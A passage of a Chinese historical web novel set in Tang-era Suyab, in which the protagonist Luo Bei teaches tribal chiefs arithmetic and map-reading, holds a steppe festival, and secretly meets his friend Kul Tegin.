我这个东道主也算陪到位了。”洛北起身笑道:“褚郡君、吴判官还有巴彦他们下午都还有事,哥舒将军,你和我一道去城外走走如何?” “是。”哥舒亶起身应了,两人一道, 率先起身离席而去。 日头还高悬在天上,城外的田野里一片寂静。洛北和哥舒亶纵马小半日, 来到了一望无垠的草原之上。 天高云淡,远处的天山雪顶莹莹地放着光。 哥舒亶轻轻叹了口气:“道元堂叔把哥舒翰交给我的时候,就说这孩子久在长安, 怕是被京中的纨绔子弟带坏了。我已下了大力气去纠他的言行,没想到还是在你面前露了怯。” 洛北笑道:“他毕竟生在长安的富贵堆里, 有些贵胄子弟习气,也不必过度苛责。” “对了,刚刚我一直想问你。”哥舒亶道:“我在城外田地中看到的大都都是汉人。碎叶城可不是鸣沙县,西域几度动荡,你从哪来找的这么多汉人农民?” “是这一批从各地征来的府兵。”洛北道。 “这”哥舒亶不免看了他一眼,“未免有些冒险了。” 洛北笑了笑:“哥舒将军误会了,我这纯粹是无奈之举你曾经担任过赤水军副使,应当知道,大唐授予府兵田地,免去赋税徭役,便是要他们在折冲府内自筹粮草、装备前往戍边。” 哥舒亶点了点头:“不错,这些士兵家中有土地,不需要朝廷多出许多军费。加之他们农时在家互为邻里,打仗时编为一队,互相之间非常熟悉,凝聚力很强。” “是啊,但此地与赤水军的情况又有所不同。”洛北道:“安西都护府离各折冲府都实在太远,光路上可能就要花半年工夫。许多府兵从家中带出来的粮草,在路上就吃完了。碎叶城又久为大唐、突厥和突骑施三方来回拉锯,府库存粮早已耗尽。为了不劳民伤财地从甘凉等地转运粮草而来,我只能力行屯田。” 哥舒亶忍不住揉了揉脑袋,虽然洛北说得浅显易懂,但这笔账还是让他觉得有些头疼,许是中午多喝的那半壶酒此时上头了: “可是,自女皇时代王孝杰收复安西四镇起,安西驻军多是一手执戈,一手执镰,以屯田自给自足。但碎叶毕竟是地处要道的兵家必争之地,又与其他兵镇相隔甚远。历代碎叶镇守使大多以城中的商税购买粮草,你为什么不这么做呢?” 洛北轻轻一笑:“哥舒将军听过大食么?” “大食?”哥舒亶想了想,“之前听两个粟特人说过,粟特人久受大食侵扰,他们是从昭武九姓逃出来的。” 洛北颔首:“我派吴判官以大唐使节名义出使拂菻国,他率队穿出大唐国土,越过铁门关和乌浒水之后,便到了大食的土地上。他们在西同拂菻人打仗,在东与粟特人打仗,天下动荡如此,有多少商人能够出行?我们又能收到多少商税?” 哥舒亶皱了皱眉:“大食人已经强大到如此地步了?” 围脖-晴崽推书站 “我的议事厅里有一副地图,等众位首领齐聚,你们可以一起看看。”洛北道,“再这样下去,等他们侵吞完昭武九姓,下一个就是怛罗斯和碎叶城。” 哥舒亶明白了他的意思:“特勤想动兵讨伐大食?” “我已经收到了吐火罗叶护阿史那都泥利的求救信件。”洛北从袖中取出信件,交给哥舒亶:“但我们一旦出兵,战事就不可能止于吐火罗和昭武九姓。昭武九姓以西,是昔年波斯的富庶之地。大食人之所以能屡屡犯边,靠的就是这些地方的粮草和后勤。所以如果真的要打,路途比你想象的远得多” 他说着似乎面露疑难,哥舒亶却忍不住哈哈大笑:“特勤,我哥舒部都是骏马上长大的儿郎,什么时候怕过千里路遥?” 他抱拳向洛北请命:“突厥素来荣战死,耻病亡。若你下定决心要动刀兵,一定让我征召部族子弟出兵为前锋——我宁愿马革裹尸,也不愿意七老八十时老死病榻上。” 洛北见他豪情万丈,也忍不住笑了:“前锋的事情我现在可没办法答应你,自突骑施之战和多逻斯水之战结束之后,我从自己带的军队、降兵及俘虏中亲选出两千余人,又把父亲送给我的北庭兵马编入其中,作为我的亲军放在城外,他们都由阿拔思统辖——明日你可以去看看,他们的骑射功夫虽然不是我教出来的,但比我也不差什么了。” “哦?”哥舒亶听到这话,忍不住挑眉笑道:“那我明日定要在营中与他们比试一番,请特勤准许!” 哥舒亶之后是胡禄屋部的琪琪格和莫潘半月之内,各部首领都响应洛北的征召,到了碎叶城。 随他们到来的部族子弟、转场路过的牧人都在城外的草原上扎营,一时之间,碎叶草原上营帐如花海般朵朵盛开。 洛北自己也迁居到了支设在草原上的大帐之中,他有一大半时间穿着象征“乌特特勤”的华贵紫袍,与这群部族首领在一起开没完没了的议事会议。 哪里的草场旱了,哪里新出了湖泊,哪部的路线其实会相撞,需要调整,还有一些因为“你的牛羊吃了我的草”而起的争端都被拿到了议事会上,留待洛北这位“乌特特勤”和部族首领们一起决断。 这显然不是个简单事情,饶是在战场上并肩作战过的部族首领,也会因为草场的事情闹得不愉快。 朱邪烈就和琪琪格闹得面红耳赤,两人都坚持是对方越界,声音越吵越大越吵越激烈,莫潘左看右看,只得把求救的目光看向高坐牙床上的洛北。 洛北揉了揉眉心:“草场争端,怎么能以自己的记忆为主?我命有司把地图贴出来,你们都在上面画一画路线。” 安西衙署中的侍从搬出一张描画得详细的地图,两人各自提笔在地图上描画一番,结果众人一看,无不大笑起来。 莫潘小声拉了拉他姐姐的衣袖:“阿姐,你这区域都画到多逻斯水去了。” “啰嗦,这地图上标识那么远,我哪看得清哪是多逻斯水,哪是伊丽水?”琪琪格回头瞪了一眼她弟弟,却在看到朱邪烈的笔迹时,也忍不住大笑起来:“处月首领,你这都歪到庭州去了,那是北庭部族的地方,不是咱们的啊。” 朱邪烈挠了挠头:“这这我看着离龟兹也不远么?” “好了。”洛北伸手招来巴彦:“巴彦,你派几个卫士飞马去实地察查一下情况,看看到底是哪里越界了。” 巴彦领命而去。琪琪格和朱邪烈才停了争吵,各自分开,坐回了位置上。洛北见气氛僵硬,只得当下宣布暂停议事会,把部族首领们都赶出帐外观看赛马去。 他自己则从牙床上走下来,向着一边的吴钩道:“吴判官,我本以为你在此地就可以把边境形势图讲完,如今看来,怕是要劳烦你从看图识图讲起啊。” 吴钩笑了笑:“各部首领成长环境各有不同,自然经验、知识也是不同。只是,除了这些之外,或许还有件事情,公子也得让我教一教。” “什么事情?”洛北问。 “数字书写、计算和记账一些商贸的基础知识吧。”吴钩道:“我这些日子常在市场上穿梭,也遇到过这些部族首领的随从买卖东西,他们豪爽大方,不喜讲价。便有些商贾借着这个机会,在数字和文字上做文章。安西衙署虽已颁布规则约束商贾,但终归是治标不治本。” 洛北颔首:“吴判官若有此苦心,自然是好事。但你是商人,怎么站在买主的角度上说话?” “做生意讲究的是诚信待人,两方合意。”吴钩道:“裴老板和我都是做长远生意的人,可不想让市场上劣币驱逐良币,把这些部族首领逼得不敢在街市上买东西了。” 洛北沉吟片刻,没有说话。正好一阵赛马奔腾,扬起烟尘万里,他望着那些烟尘,忽而有了个新想法:“哎,要不去金山的路上,我专门拿出几个晚上,来给这些部族领袖上课吧?” “上课?”吴钩一时有些没理解:“可这些首领中不止有琪琪格这样年轻的,还有鼠尼失部首领这样老成持重的,他们能安心听课吗?” 洛北笑了:“这话你可说着了,鼠尼失部首领老成持重,也应当花些时间,教教大家如何管理部族才是——” 当天晚上,褚沅就接到了她兄长的新任务,要她排布一张课程安排。 “每节课以半个时辰授课,半个时辰讨论为宜。”洛北一边看她新处理的安西政务文书,一边分神与她嘱咐这些事情:“若是能穿插,你还可以安排一两节比武射箭进去。” 褚沅笑笑地望着他:“阿兄干嘛费这个功夫,让他们把自己的部族子弟送到长安太学去岂不更容易?” “这是两件事,这些部族首领除了那些较为年轻的曾在我麾下征战,彼此之间并不熟悉。”洛北道:“此次上课,对他们来说就是一个彼此熟悉的好机会。有了同窗之谊,日后再协调些事情,会简单得多。而且,有些东西,我必须要在他们心中种下去——” 他点了点空余的课表:“添一节历史课吧。我来讲。” 第165章 “我所求的,只是在他们心中种下那颗钦慕的种子而已。” “处月首领, 你前日的题目算完了没有?”又是草原上匆匆行路的平凡一日,夜色落幕后的营帐中,琪琪格小心翼翼地拉了拉朱邪烈的衣裳, “要是算完了, 借我看看可好?” 朱邪烈回过头来,脸上是同她一样的灰头土脸:“没有,算到第八题的时候我就蒙了特勤有祆神赐福过,自然能看破一切,他干嘛非要来为难我们呢?我们可用不上这些!” “谁说用不上?”洛北从帐外走进帐中, 正把他们这番话收尽耳中,他笑笑地铺开一张地图:“琪琪格,朱邪烈, 前番去察查的卫士回来了。你俩都有越界之举。胡禄屋部越界广一里,从一里,胡禄屋部的两位首领, 你们算算, 这是多少亩?” 琪琪格和莫潘一起拿出纸笔,凑在一起叽叽喳喳地算了半天:“三顷七十五亩,对么?” 洛北点了点头:“处月首领,你部族的牛羊也有越界, 你越界的地区大概是广二里,从三里。你算算, 这是多少亩?” 朱邪烈比比划划,算了半天:“二十二顷二十二顷” “二十二顷五十亩。”洛北敲了敲桌子:“你越界的比胡禄屋部要多些。来,我们再算算如何折成银钱?” “特勤饶了我们吧!”琪琪格举手投降:“我胡禄屋部情愿同处月部握手言和, 大不了,大不了让处月首领赔我一顿酒宴好了!” 朱邪烈也点了点头:“这交易甚是公平, 特勤,我们就这样处理吧。” “哦?可是”洛北故作迟疑。 莫潘在一边已是忍不住笑了起来:“特勤处事公正,阿姐和处月首领都已经领教了。想来他们也都得了教训,绝不会再互相越界了?” 琪琪格才在识图辨图里拿了第一,当下骄傲地一笑:“特勤放心,我胡禄屋部肯定按照地图划定的走,绝不会走偏。” “我弓月部也是。”朱邪烈道:“若我和胡禄屋部首领再起纠纷。我们就从部族子弟中各选七人去草原上以骑射决胜负好了。” 帐中人人皆知处月部子弟善骑射,听他这样说,都忍不住笑起来。当夜负责授课的鼠尼失部首领正好走进来:“这是在说什么?如此热闹?” 人们七嘴八舌地与他谈起始末,鼠尼失部首领闻言一笑:“骑射决胜负倒是符合我们突厥的古制……” 他说着便站上讲台,开始讲突厥的古老传统和仪式,洛北本站在最后,津津有味地听着,正当这时,巴彦从外面探了头进来:“将军,裴长史来了。” 洛北丢下众人,走到帐外,一片无际的荒野之中,最先映入他眼帘的是一只狼纛。它正随着草原凛冽的夜风在空中飘舞。 裴伷先上前向他道礼:“公子。” 洛北伸手把他扶了起来:“父亲来了?” “可汗殿下不愿与我同行,以免引起朝中不必要的关注。”裴伷先道,“但他让他的铁卫带着狼纛前来,让你代持狼纛前往金山拜山。还嘱我告诉你,到了金山却不拜山,不符合突厥人的礼节。” 洛北望着狼头纛,一时之间有些五味杂陈,平心而论,当他以“乌特特勤”的身份召开议事大会时,他就已经算是在代行草原可汗的职责,但把这只狼头纛立在自己的大帐外,又是另外一回事:“父亲他……他怎么样?” “可汗殿下一切安好。”裴伷先道:“但半月前,我与前来安西赴任的薛讷将军会面,他和我说魏相公年初的时候生了病,如今身体已经大不如前,虽然他封锁消息,强撑工作,但也无法再像那样总揽朝政。” 洛北反应过来:“怪不得他已经无法阻止解大夫外放。唉,魏相公这些年主持政务,确实殚精竭虑,只是他这一病……朝中又不知有多少魑魅魍魉要冒出来。我最担心的是太子。” 一提到太子,裴伷先也忍不住轻轻叹息一声,魏元忠、唐休璟等人都是女皇早年拔擢上来的干吏,有这样的人坐镇朝堂,无论斗争如何频繁,朝务还总还能维持正常运转。 现在,他们或因年老,或因体弱,接二连三地离开朝廷……失去了这些人,太子就要直面许多来自朝堂的压力,以太子的个性,连裴伷先都猜不到他未来会如何: “我也理解公子的苦心,只是碎叶离长安实在太远,朝中的事情,你我已是鞭长莫及了。” 他顿一顿,又道:“对了公子,我刚刚来的时候,看到鼠尼失部首领在书卷上写写画画,他这是做什么呢?” “哦,没什么,去年我和父亲与各部首领规划下了草场,今年变动不大,这一路上就没有那么多正事要议。我不想每夜都陪这些部族首领饮酒作乐,就给他们找了些事做。” 洛北见他感兴趣,便简明扼要地说了他给部族首领开课之事: “可惜你不在,否则你这位昔日的太仆卿来讲朝廷礼仪是最合适的。” 他说得轻巧,好像这只是在找些事情消磨时光,裴伷先忍不住笑了:“能让这十几个执掌部族和兵马的首领坐下乖乖听课,恐怕也只有公子有威望做成了。只是数日功夫……真的能改变什么吗?” “我没有打算一蹴而就地改变什么。”洛北在草原的夜风中闭上双眼,“中国有礼仪之大,故称夏;有服章之美,谓之华。所谓化夷为夏,不过是让他们觉得我们的衣服美丽,再学着我们的装扮,让他们觉得我们的礼仪博大,再学着我们的礼仪……文字、算数、礼仪等,都算是一种方式。” 他睁开双眼:“我所求的,只是在他们心中种下那颗钦慕的种子而已。” 裴伷先为他的壮志所动,一时之间竟不知如何答话。 此刻,一轮明月从天山升起,高高地挂在夜空之中,清晖照彻草海。 裴伷先望着那皎洁的月光,才叹道:“公子有此雄心,当然是好事。只是这种子不应只停留在各部首领心中。” “所以我已经同各部首领商议过了,仿照我在凉州的旧制,自各部之中征召子女三十人,到碎叶城学上三个月医术。我已写信给我凉州的学生阿米尔,请他前来碎叶,代为指教。他是契苾部族的继任族长,久在草原,熟悉草原上能碰到的一切病症。” 裴伷先听他早早地做了安排,脸上不禁一笑:“公子应当早些告诉我,何必看着我露怯呢?” 洛北哈哈大笑:“这我可是算计好了的,要不是伷先你自己提出来,我也不好意思开口向你要钱。我可是答应了各部首领,这些男男女女在碎叶的开销,皆由安西都护府来承担。” 裴伷先见他玩笑,自己也忍不住笑了:“公子这是知道我发了笔小财,上赶着打秋风来了。” “发了笔小财?”洛北见他神神秘秘,知他定是在伊逻卢城及周边的寺庙那抄没、整顿了不少钱财,“大概多少?” 裴伷先伸出一只手掌:“公子猜猜看?” “五万钱?”洛北皱眉道。五万钱就是五千两——大唐一个五人的小康之家,一年开支也不过五十两,西域这样苦寒的地方,几个寺庙竟能花出这么多开支! 裴伷先摇了摇头:“五十万钱!” 饶是洛北素来对钱财无所在意,也不免吓了一跳:“这么多?!” “公子可不知道他们的手段,我这些日子巡查各地,才知道为了‘劝人向善’,那些道貌岸然的混蛋专搞些江湖骗术吓人,再勒以重金,才能‘祛邪除祟’。更有甚者,公然设下赌局,引人进局,输光家业。父母求助于这些地方,又被他们敲髓吸骨!”裴伷先摇了摇头。 洛北握紧拳头:“……真是欺人太甚。” “虽说现在公子一手萝卜,一手大棒地把他们打了下去,还是有不少人在暗中串联,想进长安参公子一个执法严苛的罪名。”裴伷先道,“我虽已命人暗中拦截,但此事……” “大风吹倒梧桐树,自有旁人说短长。他们要参我,便参吧。”洛北道,“安西这个地方,北有突厥、西有大食、南有吐蕃,咱们是坐在一座悬崖之上——他们到长安去告我的状,总好过在安西都护府内给我们找麻烦。” 他说罢,一双带着笑意的金色眼眸便向裴伷先望了过来,照得裴伷先心头一热。 他忍不住躬身道:“公子放心,在你从金山回来之前,我一定将案卷整理清楚,抢在他们之前将此事原原本本地上奏朝廷,免得他们颠倒黑白!” 洛北笑了:“好,我正要和你说,此事不要操之过切,过了图伦碛,于阗等地如今都已是薛讷将军统辖,没有朝廷的圣旨,就靠咱们两个人两张嘴,他是不会听的。” 他说到这里,不免叹息一声:“路漫漫其修远兮。” 裴伷先笑接了下半句:“吾等上下而求索!” 第166章 “你呀,从前在牙帐里的时候还没赢够?” “洁白的天鹅, 在芦苇丛中的湖中游荡。远方的兄弟到来了,请留下来一同欢宴吧。” 繁杂的仪式之后,洛北换下白紫的华服, 重新换了一件便于行动的洒金的浅蓝锦袍, 他的长发依旧被编成辫子,放在脑后——在草原上的时候,他就是阿史那乌特,而不是洛北。 整理配饰和佩刀花了他一点功夫,他再度掀帐出门时, 无边草原上的空地已被花花绿绿的毡毯、桌椅和帷幕占满了。 他放眼望去,准备宴席的男男女女们正在席间来回穿梭,为桌上铺开桌布, 分发食物、倾倒酒水……数十个衣着华贵的女子聚在一起和声唱起了迎宾的宴歌。 满身金银珠宝的琪琪格是其中最耀眼的那个,她正唱得起劲,余光却已经瞥到洛北走了出来, 忙叫停合唱, 带着那群女郎一道躬身向洛北道礼:“特勤!” 洛北按照规矩,从侍从手中拿过成叠的绢帛递给她们,笑着问道:“琪琪格,我以为你一向在喝酒上是最积极的, 如今宴席要开了,你怎么还在这唱歌呀?” “喝酒当然重要。”琪琪格接过绢帛, 往自己身上比了比,那浓烈的色彩把她的肤色衬得分外明亮,“但我也想看看, 特勤准备了些什么好东西来犒赏大家。哎,这料子的颜色真是好看, 想来洗几次也不会淡。特勤,您晚上舞会上也多带些来好么?” “我听说,这染坊的主人是个粟特女郎,有家传的一手染布手艺。”哥舒亶走到洛北身侧,笑笑地替他解围,“只可惜染坊初创,没多少规模。琪琪格,看在我的面子上,给我部中的姑娘们留下些吧!否则她们要在我夫人面前抱怨到下一次拜山。” 琪琪格笑道:“哥舒首领,你是个男子汉,难道不知道我们草原上的规矩吗?她们想要呀,就叫她们来和我斗舞比歌,谁赢了就归谁。” “那你输了可不准哭鼻子。”哥舒亶玩笑道。 琪琪格猛推他一把,把他推了个踉跄:“哥舒首领,哭鼻子的是你吧!” 他们年岁相差不大,一贯处得像两个小朋友。洛北不理会他们这些幼稚的打打闹闹,一个人往宴席那边走去。 那里已经密密麻麻地坐了不少人,把大半座位都占满了。此刻众人正在互相热烈地交谈着,时不时地就传出兴奋的高呼和大笑。 洛北这次是循旧例征召各部首领前来拜山,但是来的人却比去年的一倍还多。他把宾客名单和各部旗帜对照一遍,发现除了去年就参与拜山的各部首领之外,还有不少自高宗、太后时期就从西域迁移到中原地区的部族首领自发前来。 饶洛北已是出了名的博闻强记,面对着眼前这成百上千个部族贵胄,也没能把他们都认出来,好在他现在也不需要把这些人的名字都记住。 “各部首领,我的部族子孙、兄弟姐妹们。”他端起酒杯,以突厥话向众人祝酒,“我们满饮此杯,祝愿今年草木繁茂,牛羊繁息,家国太平,万世流传!” 众人齐声应和,共饮一杯,又把目光都望向他。 “如今云淡风轻,天朗草肥,正是夏猎时节。”洛北道,“所以,按着古老的风俗,此后数日,我要在草原上举行盛会,让部族儿女们比较骑马、射箭、摔跤和歌舞。若能在其中拔得头筹,我重重有赏。” 朱邪烈笑道:“特勤,别的不敢说,若论骑射,我处月部当为第一,若是都被我家儿郎取走了,您可不准反悔。” 洛北还未开口,哥舒亶已经笑道:“处月首领!大话留在庆功的时候再说吧。论骑射,我不比你差哟!” 洛北望了他们俩一人一眼,止住他们的谈话:“哥舒首领、处月首领,你们就不要再争执了。这次盛会,各部首领都不许亲自下场参赛。” “为什么,特勤?”跳起来的却是琪琪格。 “你们已经是各部首领,随我冲杀战阵,又抚民育民,功勋卓著,哪里还需要在这样的大会上证明自己?” 他先夸后说,语气温和,哄得琪琪格脸上露出笑颜:“特勤这样说,确实有些道理。” “阿姐,”莫潘小心翼翼地拉她的衣袖,“我想特勤的意思是,要我们给部族中的穷苦子弟一个出头的机会。” 洛北颔首笑道:“为此话,我当与莫潘首领独喝一杯。” 他将杯中一饮而尽,又道:“如今战阵复杂,但凡骑兵出征,要立战功,必有铠甲。可铠甲昂贵,岂是人人都能有?穷苦子弟想要出头,就越发难了。可这些子弟若是天分出众,埋没荒草岂不可惜?所以我才要召开盛会。” 他这一番表述,众人才知道他并不是青年人的贪玩好胜,都纷纷点头。 “你们都是部族首领,应当对部族子民怀有责任。所以我委托诸位下场评判,记住,人人皆能评判他人的部族子民,所以你们要公正些。” 洛北以那双金色的眼眸望过众人,他目光明澈,有如明辉,照得几个准备暗箱操作的部族首领下意识地低下了头。 “另外,我也会下场察查,从中择优良者编入我的亲军与卫队,你们自家优秀子弟,可不要藏私啊。” 洛北的卫队和亲军与其说是保护他的安全,不如说是与他冲阵的前锋军。且不说能进入洛北的卫队和亲军是何等荣耀的事情,就说日后打仗,这些人必会被委以重任,荣华富贵不可预计,也让不少人心痒。几个首领一面应了,一面就等着一会儿回到自家营帐对子侄们耳提面命一番。 其后一连数日,草原上到处是欢笑歌舞的男女。那些赛马都被骑手们精心打扮过,它们的鬃毛被各色绸带与布条扎起,又饰以各色闪亮的装饰,马缰绳上缠着流苏和布条。 赛马比赛一开,众马一道奔跑起来的时候,但见烟尘和装饰飘舞,看不见人和马的影子。 洛北虽已下了严令不许各部首领参加,自己看到弓箭和箭靶时却忍不住停留,负责监察本场比赛的朱邪烈赶忙过来,极恭敬又极客气地请他从选手们比赛的场地上走开:“否则大家都来参拜特勤,就没人比赛了。” 洛北只得应允,向一边移开步子。摔跤比赛比其他都进行得快些,数个赤着上身的壮汉正以鹰步入场。巴彦本在人群中张望,见他过来忙凑到他身边:“公子也来了?” 洛北点了点头,他少时颠沛流离过惯了,即使后来加以弥补,也没能生就一副膀大腰圆的壮汉体型,故而一向没怎么练过摔跤,对这比赛充满好奇:“现在到什么地步了?” “差不多就是这十来个人了。”巴彦给他指点场中局势,“公子要是真想拔擢亲军,不妨留意最右边那个,自他下场以来,一把都没输过。这要么是个家传的摔跤手,要么就是天赋异禀。” 洛北望了过去,那人正背对着他迎接一个高个子的挑战。两人甫一相接,便互相搂住对方的腰眼,四只脚交叉着站定,暗暗较起气力来。 两人步伐移动,一进一退,一退一进,移动之间,那高个子稍有不稳,立刻就被那人拉手一绊,摔在地上。 “好啊。”周围围观的人群发出一声高过的一声的欢呼。 洛北扫视一圈,人人脸上都是热烈的期盼,他们在这激烈的比赛中寻找自己支持的对象,期待着他们每一次摇晃的机会。 “赢了赢了!又赢了!”巴彦激动地抓着洛北的衣袖,“公子,快看!” 观众的圈子已越缩越小,留下圈中两个一路胜到这步的年轻男人。到了这个时候,人们已经顾不上周围到底是贵胄还是平民,只想离摔跤手们更近,看得更清楚些。 负责此项比赛的鼠尼失部子弟们好容易才用双手为两个摔跤手争取出一个留供两人腾挪翻转的空间。他高声下令,宣布比赛开始,又两人各自松整筋骨,互相道礼,又一次撞在一起。 战况十分胶着,连着周围的呼喊声也一声急过一声,终于,那个背对洛北的青年伸腿一挑,手臂用力一带,把对面的青年摔在了地上。 人群把他簇拥起来,为他戴上象征冠军的绸缎,鼠尼失首领把手中的数千钱连同三匹彩缎交给他,又忍不住望着这张陌生的面容:“孩子,你是哪族的子弟?你如此骁勇,不应默默无名,可我之前从没见过你。” 那青年已望见了人群中的洛北,一张英武面容的笑再也掩饰不住,直到鼠尼失首领又问了一遍,才回答道:“哦,我是乌特特勤的族人,从东边来。” 鼠尼失首领闻言,还要再问什么,那青年已经重新把托盘递回到他手上:“劳烦您替我拿着。”自己却窜出人群,去追拂袖而去的洛北了。 “阙特勤。” 待到行到大帐后的山野空旷处,洛北才叫了他一声,一向平静的脸上是难得一见的无奈的神色: “你呀,从前在牙帐里的时候还没赢够?孤身跑到这里来,你知道这有多危险吗?” 阙特勤明亮的眼睛里盛满了笑意,他望着洛北:“我是突厥第一勇士,自然要把东西突厥的英雄都打败了才行。不然这个名号岂不是成了草原上的笑话?” 第167章 “可我不想打仗,尤其不想在这个时候和你打仗。” 阙特勤答得理直气壮, 让洛北也不免怔了一怔,直到阙特勤脸上的笑容越来越大,越来越热烈, 几近笑出声音, 洛北才反应过来: “少来,你小子打十四岁获封阙特勤的时候起就不喜欢这套了。” 阙特勤听他拆穿,终于忍不住哈哈大笑起来:“哈哈哈哈能看到你愣神的模样,哪怕只是一瞬,也不枉我骑了三天马前来赴会了。” 山坡上百草丰茂, 风声呼啸,把山下的歌声和欢呼声一道飘扬上来。阙特勤从路边拽了根狗尾巴草,放在口中嚼着, 仰卧在草丛中,望着天上白云疏朗,蓝天无边: “再说, 你又不是不知道我为什么不喜欢和人比赛。因为我叔可汗一见到我赢了阿史那匍俱, 就要摆脸色。如今终于可以不在他眼前比赛了,我还不能过过瘾吗?” 洛北坐在他身边,一手后撑,一手放在支起一腿的膝盖上, 见他提起往事,也笑了:“怎么能不记得?不过那时候你下手也真狠, 每回都把他摔得鼻青脸肿的。还有一次,是把他摔到牛粪堆里去了?” “那可不能怪我,谁叫他在我的马上做手脚。”阙特勤看着洛北:“那一次要不是你的箭射的准, 我早就被那匹马拖死了。” 洛北笑而不答,只望着天边白云翻滚, 片刻之后,他才轻声道:“这次默啜大汗把你换到西边来,阿史那匍俱怕是也给你留了绊子吧?” “中原不是有句话‘兵来将挡,水来土掩’。”阙特勤道:“我和他的梁子深得很,不差这一桩两桩。” “可默啜大汗一定会下令,叫你尽快出兵与我交战。”洛北说:“他一定会说,金山一带,是我突厥祖兴之地,如今落入大唐之手” 他的话还没说完,阙特勤已经坐起身来,惊讶地望着他:“这可是大汗密令的内容,你怎么知道的这么详细?” “默啜大汗就喜欢那两三个说辞,我那些年写了不知道多少遍,背也背出来了。”洛北笑道。 他英俊的脸上笑得温和,琥珀色的眼眸一如往常地在阳光下泛着金光,阙特勤哀叹一声,又躺倒下去: “可我不想打仗,尤其不想在这个时候和你打仗。你知道吗?我带着亲兵从东边到这里来赴任的时候,见到的不是欢迎的部众,而是举行葬礼时升起的烟火——阿史那匍俱在西域丢了五万大军,现在我手中各部多的是没有丈夫的寡妇和没有父母的孤儿。我首先要考虑的,是生存问题。” 洛北素来了解阙特勤的为人,见他作难如此,不禁陷入一片沉思。阙特勤见他不说话,又坐正道:“不过我这次来,不是来找你说这个的。” 阙特勤从腰间解下一把佩刀,那刀鞘是新做的,皮子上缝着狼毛和珠宝:“那年从灵州夺走的佩刀,还给你。” 洛北笑了:“这刀可还顺手?” “削金断玉,无所不能。”阙特勤道:“我听说阿史那绥子有一把唐人工匠所做的陨铁唐刀,是你们兴昔亡一脉的家传宝物,应当就是此物了?” 洛北摇了摇头:“不是。”他也从腰间解下佩刀,递到阙特勤手上: “当年此刀一共有两把,一把属于我们家,一把属于东突厥突利可汗的家族。你手上那把,是突利家的家传宝物。此物本就应该由东突厥可汗一系保管。我是机缘巧合下才得到此物,又是巧合之下被你夺走——说明天命此物应当归你所有,你就收下吧。” “在突厥先祖居住的金山下说天命,会不会有点太冒犯了?”阙特勤自嘲似的轻轻一笑,还是接过佩刀,系在了腰间。他站起身,掸了掸身上的灰尘和草根:“好了,既然已将此刀的归属厘清,又和我的至交兄弟叙了旧,我这次也算没有白来。趁着天色还没有太晚,我要走了。” “这么匆忙?”洛北未及起身,只是望着他:“好歹应当和我喝一杯再走。” “我此次前来,和我叔可汗那里找的借口是侦查敌情。”阙特勤摇了摇头,“滞留太久,容易引起怀疑,再说,在场万一有人把我认了出来,对你我都是危险。” 洛北替他掸掉背后的草根和灰尘:“好吧。一会儿我带你出去,免得你被四下巡逻的卫队注意。” “哎,我可是来参加比赛的,是乌特特勤的族人,你的手下还能拦我吗?”阙特勤最后理了理腰间的蹀躞带:“对了,我一直没问你,在灵州我看你受过伤后来又听说你在碎叶遭人行刺,你身体现在如何了?恢复了吗?” 洛北不料他还记得这些往事,闻言轻轻一笑:“都过去了。征战沙场的人,受伤算什么?倒是你,明枪易躲,暗箭难防。你要小心行事,多保重。” “放心吧。我向伟大的祆神祷告过,”阙特勤以手抚心口,向他道礼作别:“他答应了我,我们一定会再见面的。别忘了,你和我还有一场赛马的胜负未决。” 阙特勤说罢,下山挥鞭策马而去。诚如他自己所说,在场的卫队和亲军没有人为难他,都放走了这个孤身而来的年轻牧人。只有巴彦在那天晚上问了洛北一句: “公子,那个摔跤摔得极好的小伙子,您最后找到他了没有?他那样的身手如果能到卫队里来,绝对是一等一的好手,只要稍加训练,保护您不在话下。” “保护我?”洛北被这句话逗得笑了起来,半晌才重回一本正经的模样,“人各有志,他不愿意,我也不能强求。” 他站起身,走到帐前望着一轮明月:“我只希望,再次和他相见,不是在战场上。” 那声音很轻,轻到无人听见,就散在风里。 这一年的夏日,洛北是在草原上过的。当秋日他返回碎叶时,原本的卫队已经从三百人增补到三百五十人,亲军的规模也增加到三千六百人。 洛北已经为他们预备了华美的衣裳、高额的俸禄和精良的装备,等着巴彦和阿拔思把这些他们自己挑出的璞玉琢为精美的玉器。可头一件事情让巴彦和阿拔思犯了难—— “哎哟,王先生教课的时候,那么简单。”巴彦一边看着王翰留下来的教案,一面抓耳挠腮:“怎么轮到我自己,怎么讲都讲不清楚了?” 阿拔思绿色的眼睛也开始发昏了:“不知道,不知道,我讲了一遍不会,讲了两遍还是不会。这都是各部挑出来的骑射好手,怎么每个都比咱们当年要笨啊!” “得了吧,你当年也就那样。”巴彦凑到他身边:“又是哪个字他们学错了?” “炊!我都教了四遍了,四遍啊!”阿拔思忍不住仰天长叹。 如此鸡飞狗跳了三四天,巴彦和阿拔思终于扛不住压力,把教案和学生的答卷一起带到洛北面前:“公子实在不是我不努力,我是没办法了” 洛北从秋收的账本、各地的兵员轮换情况、朝廷发给安西的奏疏等一堆文件里抬起头,以眼神示意他俩有话快说——自打回到碎叶城,他就开始废寝忘食地处理安西的公务,实在没多分一点精力给这两位深得他信任的属下。 “要不,能不能请您帮忙,把这个学堂重新设一设?”阿拔思犹豫半天,才开口道。 洛北想了想:“除却你俩手下的这些亲兵们,还有新征召来做牧医的各部子弟,学染布和织布的女郎罢了,何不就分成数个学堂呢?”他看向巴彦:“城西有一片荒废建筑,你可记得?” “记得,记得,那原是突骑施入侵时占据的富商豪宅,要修来做王宫的。”巴彦心领神会:“我这就派人修缮一番,管保在入冬之前叫他们入住!” “嗯,此事你去找褚郡君商量。她曾经执掌宫中内学馆,对这些庶务是手到擒来。”洛北在纸上写下寥寥数字:“钱若不够,就去找吴钩要。他那儿的商税和钱财还有些盈余。” 巴彦和阿拔思高声应下,欢天喜地地去了。洛北目送他们离开,才又看了看手边的那本奏章,奏章上是一笔好褚体,标题用浓墨写就数个大字: “请移王化、改风俗疏。” 这封奏章来到兵部的时候,已是秋末。新任兵部侍郎张说第一个读到了这封奏章,他读着读着,忍不住击节赞叹: “好文笔,真是好文笔。善遇壮士,存恤老弱,和辑万民之心,所以万民安乐,利施后世。”他站起身,将这封奏疏捧到郭元振面前: “郭相公,你读读安西大都护府上呈的这封奏疏,真是文采斐然。我看,有这文才,朝廷也不用担心胡人不知书而不能拜相了。” 郭元振瞪他一眼:“莫要胡说。”他翻了翻奏章:“阿史那献、洛北、裴伷先等共同署名,这奏疏必是洛北的意思。” 张说好奇道:“哦?原来洛将军也是一位文才飞扬的大才?这可真是有古人之风了。” 